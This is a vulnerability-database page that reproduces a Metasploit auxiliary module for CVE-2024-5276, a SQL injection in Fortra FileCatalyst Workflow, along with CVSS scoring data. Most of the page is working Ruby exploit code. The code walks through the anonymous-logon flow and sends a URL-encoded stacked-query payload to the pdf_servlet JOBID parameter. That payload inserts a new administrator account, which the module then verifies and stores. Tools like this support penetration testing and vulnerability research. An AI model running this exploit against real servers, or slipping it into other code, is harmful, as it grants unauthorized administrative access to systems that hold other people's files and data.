Lucene search

K
metasploitTenable, Michael HeinzlMSF:AUXILIARY-ADMIN-HTTP-FORTRA_FILECATALYST_WORKFLOW_SQLI-
HistoryAug 08, 2024 - 4:52 p.m.

Fortra FileCatalyst Workflow SQL Injection (CVE-2024-5276)

2024-08-0816:52:38
Tenable, Michael Heinzl
www.rapid7.com
30
sql injection
fortra filecatalyst workflow
remote code execution
cve-2024-5276
administrative user
web interface
exploit
vulnerability
http client

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

8

Confidence

Low

EPSS

0.002

Percentile

52.6%

This module exploits a SQL injection vulnerability in Fortra FileCatalyst Workflow <= v5.1.6 Build 135, by adding a new administrative user to the web interface of the application.

require 'digest/md5'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Fortra FileCatalyst Workflow SQL Injection (CVE-2024-5276)',
        'Description' => %q{
          This module exploits a SQL injection vulnerability in Fortra FileCatalyst Workflow <= v5.1.6 Build 135, by adding a new
          administrative user to the web interface of the application.
        },
        'Author' => [
          'Tenable', # Discovery and PoC
          'Michael Heinzl' # MSF Module
        ],
        'References' => [
          ['CVE', '2024-5276'],
          ['URL', 'https://www.tenable.com/security/research/tra-2024-25'],
          ['URL', 'https://support.fortra.com/filecatalyst/kb-articles/advisory-6-24-2024-filecatalyst-workflow-sql-injection-vulnerability-YmYwYWY4OTYtNTUzMi1lZjExLTg0MGEtNjA0NWJkMDg3MDA0']
        ],
        'DisclosureDate' => '2024-06-25',
        'DefaultOptions' => {
          'RPORT' => 8080
        },
        'License' => MSF_LICENSE,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username]),
      OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alphanumeric(16)]),
      OptString.new('NEW_EMAIL', [true, 'E-mail to be used when creating a new user with admin privileges', Faker::Internet.email])
    ])
  end

  def run
    print_status('Starting SQL injection workflow...')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'workflow/')
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end
    unless res.code == 200
      fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
    end
    print_good('Server reachable.')

    raw_res = res.to_s
    unless raw_res =~ /JSESSIONID=(\w+);/
      fail_with(Failure::UnexpectedReply, 'JSESSIONID not found.')
    end

    jsessionid = ::Regexp.last_match(1)
    print_status("JSESSIONID value: #{jsessionid}")

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "workflow/jsp/logon.jsp;jsessionid=#{jsessionid}"),
      'headers' => {
        'Cookie' => "JSESSIONID=#{jsessionid}"
      }
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    body = res.body
    unless body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
      fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.')
    end

    token_value = ::Regexp.last_match(1)
    print_status("FCWEB.FORM.TOKEN value: #{token_value}")

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "workflow/logonAnonymous.do?FCWEB.FORM.TOKEN=#{token_value}"),
      'headers' => {
        'Cookie' => "JSESSIONID=#{jsessionid}"
      }
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    unless res.headers['Location']
      fail_with(Failure::UnexpectedReply, 'Location header not found.')
    end

    location_value = res.headers['Location']
    print_status("Redirect #1: #{location_value}")

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, location_value.to_s),
      'headers' => {
        'Cookie' => "JSESSIONID=#{jsessionid}"
      }
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    unless res.headers['Location']
      fail_with(Failure::UnexpectedReply, 'Location header not found.')
    end

    location_value = res.headers['Location']
    print_status("Redirect #2: #{location_value}")

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, location_value.to_s),
      'headers' => {
        'Cookie' => "JSESSIONID=#{jsessionid}"
      }
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    html = res.get_html_document
    h2_tag = html.at_css('h2')

    unless h2_tag
      fail_with(Failure::UnexpectedReply, 'h2 tag not found.')
    end

    h2_text = h2_tag.text.strip
    unless h2_text == 'Choose an Order Type'
      fail_with(Failure::UnexpectedReply, 'Unexpected string found inside h2 tag: ' + h2_text)
    end

    print_status('Received expected response.')

    t = Time.now
    username = datastore['NEW_USERNAME']
    password = Digest::MD5.hexdigest(datastore['NEW_PASSWORD']).upcase
    email = datastore['NEW_EMAIL']
    firstname = Faker::Name.first_name
    lastname = Faker::Name.last_name
    areacode = rand(100..999)
    exchangecode = rand(100..999)
    subscribernumber = rand(1000..9999)
    phone = format('(%<areacode>03d) %<exchangecode>03d-%<subscribernumber>04d',
                   areacode: areacode,
                   exchangecode: exchangecode,
                   subscribernumber: subscribernumber)
    creation = "+#{t.strftime('%s%L')}"
    pw_creationdate = "+#{t.strftime('%s%L')}"
    lastlogin = "+#{t.strftime('%s%L')}"

    vprint_status('Adding New Admin User:')
    vprint_status("\tUsername: #{username}")
    vprint_status("\tPassword: #{datastore['NEW_PASSWORD']} (#{password})")
    vprint_status("\tEmail: #{email}")
    vprint_status("\tFirstName: #{firstname}")
    vprint_status("\tLastName: #{lastname}")
    vprint_status("\tPhone: #{phone}")
    vprint_status("\tCreation: #{creation}")
    vprint_status("\tPW_CreationDate: #{pw_creationdate}")
    vprint_status("\tLastLogin: #{lastlogin}")

    payload = '1%27%3BINSERT+INTO+DOCTERA_USERS+%28USERNAME%2C+PASSWORD%2C+ENCPASSWORD%2C+FIRSTNAME%2C+LASTNAME%2C+COMPANY%2C' \
              'ADDRESS%2C+ADDRESS2%2C+CITY%2C+STATE%2C+ALTPHONE%2C+ZIP%2C+COUNTRY%2C+PHONE%2C+FAX%2C+EMAIL%2C+LASTLOGIN%2C' \
              'CREATION%2C+PREFERREDSERVER%2C+CREDITCARDTYPE%2C+CREDITCARDNUMBER%2C+CREDITCARDEXPIRY%2C+ACCOUNTSTATUS%2C+USERTYPE%2C' \
              'COMMENT%2C+ADMIN%2C+SUPERADMIN%2C+ACCEPTEMAIL%2C+ALLOWHOTFOLDER%2C+PROTOCOL%2C+BANDWIDTH%2C+DIRECTORY%2C+SLOWSTARTRATE%2C' \
              'USESLOWSTART%2C+SLOWSTARTAGGRESSIONRATE%2C+BLOCKSIZE%2C+UNITSIZE%2C+NUMENCODERS%2C+NUMFTPSTREAMS%2C+ALLOWUSERBANDWIDTHTUNING%2C' \
              'EXPIRYDATE%2C+ALLOWTEMPACCOUNTCREATION%2C+OWNERUSERNAME%2C+USERLEVEL%2C+UPLOADMETHOD%2C+PW_CHANGEABLE%2C+PW_CREATIONDATE%2C' \
              "PW_DAYSBEFOREEXPIRE%2C+PW_MUSTCHANGE%2C+PW_USEDPASSWORDS%2C+PW_NUMERRORS%29+VALUES%28%27#{username}%27%2C+NULL%2C+" \
              "%27#{password}%27%2C+%27#{firstname}%27%2C+%27#{lastname}%27%2C+%27%27%2C+" \
              '%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27202-404-2400%27%2C+%27%27%2C+' \
              "%27#{email}%27%2C#{lastlogin}%2C#{creation}%2C+%27default%27%2C+%27%27%2C+%27%27%2C+" \
              '%27%27%2C+%27full+access%27%2C+%27%27%2C+%27%27%2C+1%2C+0%2C+0%2C+0%2C+%27DEFAULT%27%2C+%270%27%2C+0%2C+' \
              '%270%27%2C+1%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+0%2C+0%2C+0%2C+%27%27%2C+0%2C+' \
              "%27DEFAULT%27%2C+0%2C#{pw_creationdate}%2C+-1%2C+0%2C+NULL%2C+0%29%3B--+-"

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "workflow/servlet/pdf_servlet?JOBID=#{payload}"),
      'headers' => {
        'Cookie' => "JSESSIONID=#{jsessionid}"
      }
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    fail_with(Failure::UnexpectedReply, "Unexpected HTTP code from the target: #{res.code}") unless res.code == 200
    fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.body.to_s == ''
    print_good('SQL injection successful!')

    print_status('Confirming credentials...')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'workflow/jsp/logon.jsp'),
      'headers' => {
        'Cookie' => "JSESSIONID=#{jsessionid}"
      }
    )

    fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res

    body = res.body
    unless body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
      fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.')
    end

    token_value = ::Regexp.last_match(1)
    print_status("FCWEB.FORM.TOKEN value: #{token_value}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'workflow/logon.do'),
      'headers' => {
        'Cookie' => "JSESSIONID=#{jsessionid}",
        'Content-Type' => 'application/x-www-form-urlencoded'
      },
      'vars_post' => {
        'username' => datastore['NEW_USERNAME'],
        'password' => datastore['NEW_PASSWORD'],
        'FCWEB.FORM.TOKEN' => token_value.to_s,
        'submit' => 'Login'
      }
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    html = res.get_html_document
    title_block = html.at_css('.titleBlock')

    unless title_block
      fail_with(Failure::UnexpectedReply, 'Expected titleBlock not found.')
    end
    title_text = title_block.text.strip

    unless title_text.include?('Administration')
      fail_with(Failure::UnexpectedReply, 'Expected string "Administration" not found.')
    end
    store_valid_credential(user: datastore['NEW_USERNAME'], private: datastore['NEW_PASSWORD'], proof: html)
    print_good('Login successful!')

    print_good("New admin user was successfully injected:\n\t#{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")
    print_good("Login at: #{full_uri(normalize_uri(target_uri, 'workflow/jsp/logon.jsp'))}")
  end

end

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

8

Confidence

Low

EPSS

0.002

Percentile

52.6%

Related for MSF:AUXILIARY-ADMIN-HTTP-FORTRA_FILECATALYST_WORKFLOW_SQLI-